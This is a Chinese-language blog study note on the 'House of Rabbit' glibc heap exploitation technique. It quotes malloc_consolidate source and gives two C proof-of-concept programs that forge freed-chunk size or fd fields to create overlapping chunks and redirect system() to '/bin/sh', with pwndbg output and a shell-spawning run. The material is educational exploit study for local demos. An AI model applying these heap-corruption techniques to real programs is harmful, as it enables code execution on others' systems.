House of Rabbit 漏洞笔记

House of Rabbit 利用起来比较简单,比unlink之类的好理解很多,而且有时在不需要泄露基地址的情况下,也能起作用。该漏洞对于glibc-2.26以上的glibc,需要先绕过tcache机制。

前导知识

在malloc一个很大的chunk时,glibc会试图将fastbin的chunk进行合并。合并代码:

glibc-2.23/malloc/malloc.c:4199

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
  prevsize = p->prev_size;
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

  if (!nextinuse) {
    size += nextsize;
    unlink(av, nextchunk, bck, fwd);
  } else
    clear_inuse_bit_at_offset(nextchunk, 0);

  first_unsorted = unsorted_bin->fd;
  unsorted_bin->fd = p;
  first_unsorted->bk = p;

  if (!in_smallbin_range (size)) {
    p->fd_nextsize = NULL;
    p->bk_nextsize = NULL;
  }

  set_head(p, size | PREV_INUSE);
  p->bk = unsorted_bin;
  p->fd = first_unsorted;
  set_foot(p, size);
}
else {
  size += nextsize;
  set_head(p, size | PREV_INUSE);
  av->top = p;
}

在合并时,先检查下一个chunk是不是top chunk,如果是则直接合并,如果不是还要检查下一个chunk是否使用。

if (!nextinuse) {
  size += nextsize;
  unlink(av, nextchunk, bck, fwd);
}

如果不在使用状态的话,则进行合并。

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;

然后更新size,放到unsorted bin中。

情况一:chunk的size可控

正常情况

#include <stdlib.h>
#include <string.h>

int main()
{
    char *chunk1, *chunk2;
    chunk1 = malloc(24);
    chunk2 = malloc(24);
    malloc(0x10); // 防止与top chunk合并
    free(chunk1);
    free(chunk2);

    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk,即可触发使得两块chunk合并
    malloc(0x1000);

    return 0;
}

正常情况下,上面的两个chunk会合并成一个size为0x40的chunk。

但当chunk的size可控时,我们可以将size直接设置为0x40,则下次check的nextchunk的时候,就会检查到chunk是在使用状态,而不会进行合并。这样在unsorted Bin中就有两个chunk,而且大的chunk包含着小的chunk。

漏洞举例:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *controllable_chunk, *temp, *ptr, *sh, *payload;
    controllable_chunk = malloc(24); //size: 0x20
    temp = malloc(24);               //size: 0x20
    malloc(0x10);                    // 防止与top chunk合并

    free(controllable_chunk);
    free(temp);

    // controllable_chunk->size = 0x41
    *(long *)(controllable_chunk - 8) = 0x41;
    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk,即可触发使得两块chunk合并
    malloc(0x1000);

    sh = malloc(24);
    strncpy(sh, "id", 24 - 1);

    ptr = malloc(0x40 - 8);
    payload = "aaaaaaaaaaaaaaaa" // 16
              "aaaaaaaaaaaaaaaa" // 16
              "/bin/sh";
    strncpy(ptr, payload, 0x40 - 8 - 1);

    system(sh);

    return 0;
}

sh = malloc(24); 处下断点看看其heap状态:

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20: 0x602020 —▸ 0x7ffff7dd5b88 (main_arena+104) ◂— 0x602020 /* '  `' */
0x40: 0x602000 —▸ 0x7ffff7dd5ba8 (main_arena+136) ◂— 0x602000
largebins
empty
pwndbg> p *(struct malloc_chunk *)0x602000
$1 = {
  prev_size = 0, 
  size = 65, 
  fd = 0x7ffff7dd5ba8 <main_arena+136>, 
  bk = 0x7ffff7dd5ba8 <main_arena+136>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
pwndbg> p *(struct malloc_chunk *)0x602020
$2 = {
  prev_size = 0, 
  size = 33, 
  fd = 0x7ffff7dd5b88 <main_arena+104>, 
  bk = 0x7ffff7dd5b88 <main_arena+104>, 
  fd_nextsize = 0x40, 
  bk_nextsize = 0x20
}
pwndbg> 

可以看出这两个chunk已经重合了,所以会出现漏洞。

运行效果:

ex@ubuntu:~/test$ make 23
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.23/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
$ echo hello
hello
$ exit 
ex@ubuntu:~/test$ make 27
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ex@ubuntu:~/test$ 

glibc-2.26以上要先绕过tcache机制。

情况二-chunk的fd指针可控

漏洞举例

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *controllable_chunk, *sh, *payload;
    long long *ptr;
    controllable_chunk = malloc(24); //size: 0x20
    ptr = malloc(0x100);             //size: 0x110
    malloc(0x10);                    // 防止与top chunk合并

    ptr[1] = 0x31;  //fake chunk size 0x30
    ptr[7] = 0x21;  //fake chunk's next chunk
    ptr[11] = 0x21; //fake chunk's next chunk's next chuck

    free(controllable_chunk);

    //  modify the fd of chunk1
    *(void **)controllable_chunk = ptr;
    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk,即可触发使得两块chunk合并
    malloc(0x1000);

    sh = malloc(0x30 - 8);
    strncpy(sh, "id", 0x30 - 8 - 1);

    payload = "aaaaaaaaaaaaaaaa" // 16
              "/bin/sh";

    strncpy((char *)ptr, payload, 0x100 - 1);

    system(sh);

    return 0;
}

这种情况和情况一的原理差不多。这里就不赘述了。

感悟-鸡汤

Do well in guiding yourself, rather than controlling yourself, so that you will get twice the result with half the effort, or you will feel very painful.

要善于引导自己,而不是控制自己,这样你会事半功倍,控制自己是很痛苦的事情。

说点什么

avatar
  Subscribe  
提醒